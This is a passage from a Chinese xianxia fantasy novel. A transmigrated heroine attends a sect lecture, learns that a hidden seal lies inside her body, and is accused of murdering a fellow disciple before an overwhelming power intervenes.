池泠瑶在旁抱臂而立,眉眼间透出饶有兴趣的笑意,慢悠悠地问道:“明知道她对此地不熟,你不好好跟着她,为何会先离开了?”
“怪弟子大意。”温陵江眉头蹙起,低声解释着,“昨日齐珠师妹找来,说师父要出宗,寻我有要事吩咐。我没多想,就托她将夏姑娘带回住处,便先离开了。没想到她居然心存歹念,做了傻事,都是我的错。”
“齐珠?”
“骑猪?”
夏栀跟池泠瑶异口同声道。
温陵江点了点头,偷偷抬眉瞄了眼夏栀,正撞见她努力的压着嘴角,不让自己笑出声。
池泠瑶满脸疑惑,接着问:“我记得齐珠是外门弟子吧?就是修行很努力的那个。一个外门弟子,给你这个首席大弟子传话?你居然还信了?”说完,她斜着眼,难以置信的瞪着温陵江,仿佛不相信会有人这么傻。
“她说,自己是在山门遇到了师父,正巧看到我与夏姑娘往火峰去了,便特意来传话。”他声音越来越小,手指无意识地扣着药箱的边角,“师父近期确实常常要出门去,有时也会托人带话,或者留便条于我,所以没多想,就信了她的话。”
“你师父有什么要紧事,连传个音的空都没?还经常出门,我看这外事长老的位置,给他得了,一天比我还能跑。”池泠瑶不满地翻了个白眼,连着柳峰主一同数落了起来。
夏栀吃完了肉包,又从口袋里摸出一颗莲山果来啃,清甜的汁水中和了肉的油腻,当作清口再好不过。
她瞥见温陵江依旧紧捏着药箱把手,时不时的握紧又松开,站在那里局促不安的样子。于是抬起胳膊肘,碰了碰他,宽慰道:“真没事,托你的福,我还得了件新衣裳呢!池峰主说,这件可是宝物,金乌羽裳!好看吧!”
说着,她转了个圈,羽衣翻飞,金光流转,满脸的得意之色。
温陵江细细打量了一番,目光落在她的脸上,又飞快移开,脸颊微红的低着头,细若蚊喃着:“好看,真好看。”
池泠瑶这才注意到夏栀手里攥着的果子,皱眉道:“你说的果子,就是这个?吃几个了?”
“对啊,后院里摘得,吃了有七八个了吧。老祖说吃这个顶饱,池峰主要尝尝吗?”夏栀又从口袋里掏出来两个,递到池泠瑶和温陵江面前。
池泠瑶却摇头拒绝:“你留着吧,老祖的宝贝,没有他的应允,我可不敢随便碰。”转身对着温陵江无奈的叮嘱,“小江儿,给她几颗散灵丹,别把脉络撑坏了。真是偏心,又是寒池疗伤,又是莲山果管饱的。”
她顿了顿,再次看向夏栀,语气严肃了些:“记住,以后半月吃一颗就够了,再多,凭你那点修为,非得被灵力撑爆了不可!”
“走吧,去晨殿。”
说罢,池泠瑶转身向山下走去。
夏栀心有余悸的接过温陵江递过来的丹药,一股脑塞进嘴里,清凉的药力顺着喉咙滑进丹田,带着淡淡的苦味。
她摸了摸自己圆鼓鼓的肚子,打了个饱嗝。
“我们去晨殿做什么?”
为了掩饰打嗝的尴尬,夏栀赶忙开口问道。
池泠瑶回身,对着她眨了眨眼,笑容明媚:
“当然是听学喽!”
待三人走到晨殿时,殿前已经聚集了不少人,三三两两的凑在一起,低声交谈,粗略来看,竟有十来号人,衣着各异,似乎来自其他几峰。
众人见池泠瑶缓步而来,连忙收住话音,齐齐躬身作揖:“池峰主!”
池泠瑶却也不搭理众人,神色淡然,径自走到大殿门前,水蓝的袖袍轻轻一挥,一缕灵光落在殿门上。
“轰隆隆”的沉闷响声中,厚重的殿门缓缓开启。
她转过身,对着殿前众人,淡淡开口道:“今日起,由我在此授课。各峰最多只可留下两人,自行决定吧。”话音落,她不再多看众人一眼,转身迈入殿中。
殿外的人面面相觑,不一会,四周响起了小声的争论声,叽叽喳喳的,却没人敢大声喧哗。
妙木峰本就只来了温陵江和夏栀两人,所以他俩自然的站到了一旁,静静等候。
其中,争论最为激烈的,当属鸣金峰的几位弟子,他们足有五六人,围着一个身着白衣的年轻女子,压着声争执。
他们有人攥着拳头,有人皱着眉头,各不相让。
夏栀好奇地挨近温陵江,小声询问道:“上个课而已,至于这么争抢吗?”
温陵江转手将药箱抱在怀里,身子微微倾斜,靠近了点,用只有两人能听到的声音解释:“你是有所不知,整个合欢宗里,若是说谁对双修之法最有见解,池峰主说第二,没人敢认第一。而且,别说听她授课了,就是见识到她出手的人,都
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寥寥无几。能得她指点一二,修为定然能更上一层楼。”
夏栀听他这么说,点了点头继续问道:“那怎么不见妙木峰的其他弟子?池峰主这么厉害,她修为很高吗?”
温陵江微微一笑:“师父事务繁忙,门下真传弟子也只我一人,其余内门弟子皆有要务在身。宗门运转本就极耗力,木峰作为主峰,人手自然最是紧俏。”
接着,他话音微顿,语气转而郑重:“池峰主虽然只是渡劫期修为,但灵水峰弟子,却是全宗修为精进最快的。而且他们几乎人人都有道侣,修行自然事半功倍。”
说完他转头看着鸣金峰的几位弟子,补充道:“而与灵水峰截然相反的,就是这鸣金峰了。虽然两位峰主都是女子,但金峰的光棍最多,弟子的修为差距也最大,高阶的能达到渡劫初期,低阶的,也没比你强到哪里去。”
夏栀恍然大悟,连连点头:“怪不得他们争着抢着想来听课呢。”说罢,她突然一挑眉,转头看向温陵江,不服气的问,“我,很弱吗?”
温陵江愣了一下,随即真诚地点点头,语气温和,安慰她道:“虽然你修为确实不高,但我猜,应当是与你之前受伤有关。况且,你体内有禁制,修为就算涨,也会受到限制,并非资质不好。”
夏栀猛地睁大眼睛,惊愕道:“什么?禁制?那是什么东西?”
温陵江意识到自己失言,脸上血色尽褪,眼神闪躲着,支支吾吾道:“对,对不起,我并非有意瞒你。只是这禁制,本就是把双刃剑,它虽然会压制你的修为,却也能护你周全。换而言之,只要修为不及施术者的人,根本伤不了你,包括你自己。”
说完,他目光怯怯地观察着夏栀的神色,低声慢慢道:“再者,不告诉你,也是怕你忧心。你体内并非寻常禁制,普通修士连察觉都难,更别说破解了。我、我对此也束手无策,告诉你,不过是徒增烦恼罢了。”
夏栀听得半天合不拢嘴巴,声音发颤的惊道:“你的意思是,有这禁制在,没人能伤到我?那这施术者,不会就是老祖吧!”她脑海里不由自主浮现出沈忘尘那张清冷孤绝的脸来。
“恐怕,还真不是他。”温陵江手指在药箱上点着,发出哆哆的声响。
他犹豫了片刻,才缓缓开口:“其实,我第一次见你的时候,就发现了这禁制,但你是如何中的术,就不得而知了。若非那时你受伤太重,否则我也难以察觉。”
夏栀皱起眉头,仔细回想,脑海里飞速闪过刚穿越过来的种种。
随即,认真问道:“是不是我晕过去那次?就是在莲心镇的时候?”
温陵江看着她,神色郑重,缓缓点了点头。
夏栀轻哼一声,心中揣测。
他哪里会知道,在那之前,自己已经与沈忘尘见过一面了。莫非,那禁制,就是在石林中,救治自己时下的?
可如果真是沈忘尘的话,那他又何苦还要跟自己,再结下这生死契呢?
可若不是他,那又会是何人所为?自己穿越而来的时候受了极重的伤,施术者到底是怕自己死?还是怕自己死的不彻底?
一个个疑点在心头盘旋,缠得她有些心烦。
夏栀深吸一口气,暗自思忖:看来这些疑问,终究还是需要与沈忘尘当面对质才行!
就在此时,一道飒爽的红影从空中掠过,伴随着极具穿透力的爽朗女声,盖过了殿外的争论声:“听闻池峰主要开学堂,传授双修之法,怎么能少的了本姑娘呢!”
15. 第 15 章
人未到,声先至。
原先那些争吵着要留下来的鸣金峰弟子,听到这声音,纷纷收敛了争执。不知何人又冒了句:“楚绯月!她怎么来了?”
几个男弟子瞬间变了脸色,像是见了瘟神似的,各自扯了借口,慌慌张张地匆匆散去。
转眼间,就只剩下那名被围在中央的年轻女子,还站在原地,神色无奈地摇摇头。
夏栀正好奇来人是谁,居然有这么大的威慑力,却见一道身影从两人背后窜出,重重拍了拍温陵江的肩膀,戏谑着调笑道:“温兄,别来无恙啊!这位娇俏的师妹,不会是你小子找的道侣吧!”
不等温陵江开口反驳,头顶先落下一阵风,楚绯月踩着飘飞的长锦翻身跃下。邪恶的咸猪手,毫不客气地拍在那两人的屁股上,朗声笑道:“温师弟!陆惊寒!好久不见啊!”
温陵江抱着药箱,跳开一步,没好气道:“楚师姐莫不是贵人多忘事!明明昨天刚见过!”说着转头,瞪向同样被揩油的陆惊寒,“你莫要乱说,这位可是......”
“夏夫人!”楚绯月突然插嘴。
她一把拉过夏栀,将她圈在怀里,紧紧箍着她的肩膀,模样风流的伸手抵着她的下巴,眼神暧昧道,“一日不见,甚是想念。”
夏栀被她搂得紧,红着脸想要推开,却又被环住了腰。
就在几人闹做一团的时候,远处忽然传来一道低沉严肃的声音:“夏栀,可是在此。”
众人齐齐抬头,循声望去。
只见顾崇山领着一众弟子,踏着石阶缓缓而来。褐色衣袍扫过阶面,带起阵阵细尘。腰间法器轻响,透着股肃杀的凶气。
池泠瑶闻声从殿内走了出来,立在白玉阶上,裙摆随风而动,高声回应道:“顾峰主找夏姑娘有何事?”
“我们峰主,想请夏姑娘去鉴行堂坐坐。”一名土峰弟子上前一步,双手抱拳,恭敬的拜道。
“鉴行堂?”有人低低惊呼,周遭也跟着静了一瞬,随即响起了轻微的议论声,不少人脸上带着惊讶,目光不住的往夏栀这边瞟。
温陵江向前半步,将夏栀挡在身后,高声道:“贸然带人前去鉴行堂,总得有个理由,不知夏姑娘所犯何事?”
“杀人!”一名土峰弟子猛地抬手,将一铜镜抛向空中,日光透过镜面,折射出一道刺目白光,空中赫然浮现出一副骇人场景。
昨日绑走夏栀的齐珠,此刻已是肢体残缺,头颅与断肢散落在碎石废墟之中,血迹早已干枯发黑,触目惊心。
在场众人皆倒吸一口凉气。
看到那抹青色衣摆,夏栀浑身一震,双眼惊恐的睁大,嘴唇哆嗦着,竟发不出一丝声音。
她怔怔望着那幅地狱般的恐怖画面,身体控制不住的发颤,寒气顺着脚底往上爬,将她整个人冻在原地。
这时,池泠瑶眯起眼睛回望顾崇山,声音清冷地缓缓开口道:“顾峰主仅凭这个就断定是夏栀所为,是否有点牵强?据我所知齐珠可是化神期的修为,夏栀不过筑基初期,她又如何有能力将人残害至此?”
顾崇山看着池泠瑶,轻轻叹了口气,双指并拢,对着浮在半空的铜镜一指。
灵力拂过镜面,空中的画面慢慢变换,渐渐浮现出一处破损的石台,依稀可见台面上的符文脉络模糊残缺,深褐色的斑驳血迹嵌在石缝里,透着森森鬼气。
他的声音柔和了些,眉宇间的肃穆却依旧未减分毫:“此乃洞中挖掘出的锁灵台,本座抽取其中灵源,查验之下,发现里面唯有死者与夏栀两人的灵力残留。”
说罢,他直直看着池泠瑶,一字一句地慢慢说着:“也就是说,她们二人当时,皆被封锁了灵力,可谈不上什么筑基、化神的区别。”
话音落下,在场所有人的目光都齐刷刷地望向夏栀。
而她还没从刚才的惊骇场景中缓过神。
夏栀从没见过如此血腥残忍的场面,更无法想象昨日还生龙活虎的一个人,怎么转眼间就变成了冰冷的尸体。脑海里反复浮现出齐珠死不瞑目的头颅,胃里一阵翻江倒海。
她猛地弯下腰,双手撑着膝盖,一阵酸涩涌上喉咙,大口大口的呕吐起来。
温陵江连忙扶住她的胳膊,轻轻抚顺过她的背,担忧道:“夏姑娘!你没事吧?”
池泠瑶眉头拧起,冷冷盯着顾崇山说:“夏栀是老祖的人,顾峰主既然要带走她,理应先要告知老祖吧?”
顾崇山抬了抬手,示意身边弟子将法器收起,沉声回到:“本座并非想越权带走她,而是此次前来,本就是要请夏栀与老祖一同前往鉴行堂。”
“顾崇山!你疯啦!”池泠瑶气急,指着他大声怒道:“连老祖也怀疑!”
顾崇山却丝毫不让,声音陡然拔高了几分:“既然身为合欢宗的镇宗执法长老,自然秉承法大于情。为了门中安危,无论是老祖还是外门弟子,都当一视同仁,即便是......”他顿了顿,目光扫过池泠瑶,接着道,“即便是各位峰主,若是误入歧途,本座也绝不姑息。”
池泠瑶气的直跺脚,手指发颤的指着他,怒道:“说你楞,你还真的是一根筋!油盐不进!”
顾崇山不再看她,转而走向夏栀,冷淡道:“夏栀,请随我等前往镇土峰吧。”
温陵江再次上前,挡在夏栀的身前,微微仰头,对上顾崇山山岳一般高大的身影,坚定的说:“顾峰主三思,夏姑娘毕竟未拜山门,算不得合欢宗弟子。此事还是先传音老祖,请他......”
话未说完,顾崇山身边的一名土峰弟子突然上前,“啪”的一声,将他的手打落,力道之大,温陵江的手腕瞬间泛出红痕。
那弟子目露怒色,厉声呵斥:“你也知道她不是合欢宗的人,还这么护着她!宗门弟子死相如此凄惨,还是你们妙木峰的人,不为同袍愤慨,反而在这里与一个外人同仇敌忾!”
闻言,温陵江瞬间呆愣在原地,一时间哑口无言,竟不知该如何辩驳。
那弟子一把将他拨开,伸手便去拉扯夏栀,却被温陵江再次拦住:“不可!这一定不是夏姑娘所为,温某相信她的为人!其中一定有什么误会!”
他的胸口剧烈起伏着,气息不稳,心乱如麻,慌乱之下只隐隐觉得不能
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让他们就这么带走夏栀。
顾崇山眼神骤然一沉,黑眸里翻涌着寒意,犀利的目光从夏栀惨白的脸上,缓缓移向温陵江,虽是无言,却有一股极强的压迫感轰然袭来。
池泠瑶抬脚作势要拦,顾崇山却是眼神一凛,也不见他有任何动作,厚重的灵力骤然下压,沉得让人胸口发闷,呼吸变得滞涩,连脚下的玉阶都跟着微微震颤。
温陵江昂着头还想辩驳几句,一张嘴,喉头却是涌起一丝腥甜。他脊背一弯,双手撑在腰腹,强撑着不肯后退,浑身的骨头都被无形的力量狠狠碾压,连抬头的力气都无。
顾崇山衣袍翻飞,褐色袖摆扫过,发出猎猎声响,周身灵压如海啸般席卷开来,所过之处,竟震起细密裂纹,弟子们纷纷捂着胸口跪倒在地,咬紧牙关苦苦支撑,连一声哀嚎都发不出来。
夏栀被这股灵压砸中,只觉头痛欲裂,耳边嗡嗡作响,连眼前的景象都开始扭曲。她双手抱着头,疼痛迫使她手指用力下扣,留下几道红痕,身体摇摇欲坠,就快要站不稳。
顾崇山缓缓扫视四周,眼里没有半分怜悯,声如洪钟,裹着磅礴的灵力,震得人耳膜生疼:“本座所言,谁还有异议?”
说完,他转头看向夏栀:“本座并非故意针对,只是查清真相之前,你与老祖皆有嫌疑。”
夏栀被他的灵压死死镇住,浑身剧痛难忍,意识渐渐模糊,脚步虚浮,眼神涣散。至于旁的人在说什么,已经完全听不清了。
她缓缓伸出手,似是在求救,又像是在做最后的挣扎。
眼中的泪水不受控制的滚落,滴在羽衣上晕开湿痕,她想开口让眼前的人快点结束这种痛苦,却连嘴都张不开,尽显弱小无助。
就在即将失去意识的瞬间,腹部忽然漫出灼目的白光,寒意顺着经脉蔓延开来,眼看禁制就要爆发,一股浓郁的白烟突然凭空出现,带着淡淡的镇痛香气,将她整个人包裹其中。
蕴灵出现的太快,就连离得最近的顾崇山,也根本没有看清发生了什么。
下一秒,他只觉自身灵压如碎玉般瞬间溃散,体内的灵力像是被一只无形的手狠狠攥住,反噬之力瞬间袭来,顾崇山“噗”地喷出一大口鲜血,身形踉跄。
紧接着,一股更为强势、凛冽的威压席卷而来,带着睥睨天下的冷漠与绝情,将他钉在原地,四肢僵硬如铁,体内的灵力也随之凝滞,经脉传来撕裂般的剧痛,连呼吸都带着痛楚。
恐惧漫上心扉,顺着脊柱往上爬,冷得人浑身发颤。
在场众人均被这股力量定死在原地,连眨眼都做不到,浑身冷汗浸透衣袍,只觉得自己在这股力量面前,渺小得如同尘埃,只剩极致的敬畏与恐惧,刻进骨髓。
先前顾崇山的威压与之相比,竟显得微不足道。
周围的一切,也都像被按下了暂停键,甚至连飘落的树叶,也纹丝不动;血液、碎石皆悬在空中,冷汗也被定格在肌肤上;呼吸声、心跳声全都被隔绝,整个山中都变得寂静无声。
这时,一道淡漠的声音自上空响起,穿透了死寂:
“吾既在此,何事有?”